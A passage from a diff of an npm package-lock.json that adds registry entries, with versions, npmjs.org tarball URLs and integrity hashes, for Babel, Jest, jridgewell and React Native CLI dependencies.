"https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "peer": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "peer": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "peer": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "peer": true, + "requires": { + "find-up": "^3.0.0" + } + }, + "shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "peer": true, + "requires": { + "kind-of": "^6.0.2" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "peer": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + } + } + }, + "@babel/runtime": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.3.1.tgz", + "integrity": "sha512-7jGW8ppV0ant637pIqAcFfQDDH1orEPGJb8aXfUozuCU3QqX7rX4DA8iwrbPrR1hcH0FTTHz47yQnk+bl5xHQA==", + "requires": { + "regenerator-runtime": "^0.12.0" + }, + "dependencies": { + "regenerator-runtime": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", + "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + } + } + }, + "@babel/template": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.20.7.tgz", + "integrity": "sha512-8SegXApWe6VoNw0r9JHpSteLKTpTiLZ4rMlGIm9JQ18KiCtyQiAMEazujAHrUS5flrcqYZa75ukev3P6QmUwUw==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7" + } + }, + "@babel/traverse": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.21.2.tgz", + "integrity": "sha512-ts5FFU/dSUPS13tv8XiEObDu9K+iagEKME9kAbaP7r0Y9KtZJZ+NGndDvWoRAYNpeWafbpFeki3q9QoMD6gxyw==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.21.1", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.21.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.21.2", + "@babel/types": "^7.21.2", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "dependencies": { + "debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "requires": { + "ms": "^2.1.1" + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "@babel/types": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.21.2.tgz", + "integrity": "sha512-3wRZSs7jiFaB8AjxiiD+VqN5DTG2iRvJGQ+qYFrs/654lg6kGTQWIOFjlBo5RaXuAZjBmP3+OQH4dmhqiiyYxw==", + "requires": { + "@babel/helper-string-parser": "^7.19.4", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + }, + "dependencies": { + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=" + } + } + }, + "@codeceptjs/configure": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@codeceptjs/configure/-/configure-0.4.1.tgz", + "integrity": "sha512-/ciEKj1iVJrSnc1kbvuvDsQa+b6chSgJXpOWttYlcUIARb1puubuPRe7OOo0YLmVC/RFgA1YpSG2ryjfhhXnmQ==", + "dev": true, + "requires": { + "lodash.merge": "^4.6.2", + "lodash.mergewith": "^4.6.2", + "webdriverio": "^5.15.2" + } + }, + "@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "peer": true + }, + "@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "peer": true, + "requires": { + "@hapi/hoek": "^9.0.0" + } + }, + "@jest/create-cache-key-function": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/create-cache-key-function/-/create-cache-key-function-29.4.3.tgz", + "integrity": "sha512-AJVFQTTy6jnZAQiAZrdOaTAPzJUrvAE/4IMe+Foav6WPhypFszqg7a4lOTyuzYQEEiT5RSrGYg9IY+/ivxiyXw==", + "peer": true, + "requires": { + "@jest/types": "^29.4.3" + } + }, + "@jest/environment": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.4.3.tgz", + "integrity": "sha512-dq5S6408IxIa+lr54zeqce+QgI+CJT4nmmA+1yzFgtcsGK8c/EyiUb9XQOgz3BMKrRDfKseeOaxj2eO8LlD3lA==", + "peer": true, + "requires": { + "@jest/fake-timers": "^29.4.3", + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-mock": "^29.4.3" + } + }, + "@jest/fake-timers": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.4.3.tgz", + "integrity": "sha512-4Hote2MGcCTWSD2gwl0dwbCpBRHhE6olYEuTj8FMowdg3oQWNKr2YuxenPQYZ7+PfqPY1k98wKDU4Z+Hvd4Tiw==", + "peer": true, + "requires": { + "@jest/types": "^29.4.3", + "@sinonjs/fake-timers": "^10.0.2", + "@types/node": "*", + "jest-message-util": "^29.4.3", + "jest-mock": "^29.4.3", + "jest-util": "^29.4.3" + } + }, + "@jest/schemas": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.4.3.tgz", + "integrity": "sha512-VLYKXQmtmuEz6IxJsrZwzG9NvtkQsWNnWMsKxqWNu3+CnfzJQhp0WDDKWLVV9hLKr0l3SLLFRqcYHjhtyuDVxg==", + "peer": true, + "requires": { + "@sinclair/typebox": "^0.25.16" + } + }, + "@jest/types": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.4.3.tgz", + "integrity": "sha512-bPYfw8V65v17m2Od1cv44FH+SiKW7w2Xu7trhcdTLUmSv85rfKsP+qXSjO4KGJr4dtPSzl/gvslZBXctf1qGEA==", + "peer": true, + "requires": { + "@jest/schemas": "^29.4.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "peer": true, + "requires": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==" + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==" + }, + "@jridgewell/source-map": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", + "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "peer": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "peer": true, + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + } + } + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "@jridgewell/trace-mapping": { + "version": "0.3.17", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.17.tgz", + "integrity": "sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g==", + "requires": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "@react-native-community/cli": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/@react-native-community/cli/-/cli-10.1.3.tgz", + "integrity": "sha512-kzh6bYLGN1q1q0IiczKSP1LTrovFeVzppYRTKohPI9VdyZwp7b5JOgaQMB/Ijtwm3MxBDrZgV9AveH/eUmUcKQ==", + "peer": true, + "requires": { + "@react-native-community/cli-clean": "^10.1.1", + "@react-native-community/cli-config": "^10.1.1", + "@react-native-community/cli-debugger-ui": "^10.0.0", + "@react-native-community/cli-doctor": "^10.1.1", + "@react-native-community/cli-hermes": "^10.1.3", + "@react-native-community/cli-plugin-metro": "^10.1.1", + "@react-native-community/cli-server-api": "^10.1.1", + "@react-native-community/cli-tools": "^10.1.1", + "@react-native-community/cli-types": "^10.0.0", + "chalk": "^4.1.2", + "commander": "^9.4.1", + "execa": "^1.0.0", + "find-up": "^4.1.0", + "fs-extra": "^8.1.0", + "graceful-fs": "^4.1.3", + "prompts": "^2.4.0", + "semver": "^6.3.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "peer": true + } + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "peer": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "peer": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "peer": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-clean": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-clean/-/cli-clean-10.1.1.tgz", + "integrity": "sha512-iNsrjzjIRv9yb5y309SWJ8NDHdwYtnCpmxZouQDyOljUdC9MwdZ4ChbtA4rwQyAwgOVfS9F/j56ML3Cslmvrxg==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "prompts": "^2.4.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-config": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-config/-/cli-config-10.1.1.tgz", + "integrity": "sha512-p4mHrjC+s/ayiNVG6T35GdEGdP6TuyBUg5plVGRJfTl8WT6LBfLYLk+fz/iETrEZ/YkhQIsQcEUQC47MqLNHog==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "cosmiconfig": "^5.1.0", + "deepmerge": "^3.2.0", + "glob": "^7.1.3", + "joi": "^17.2.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": 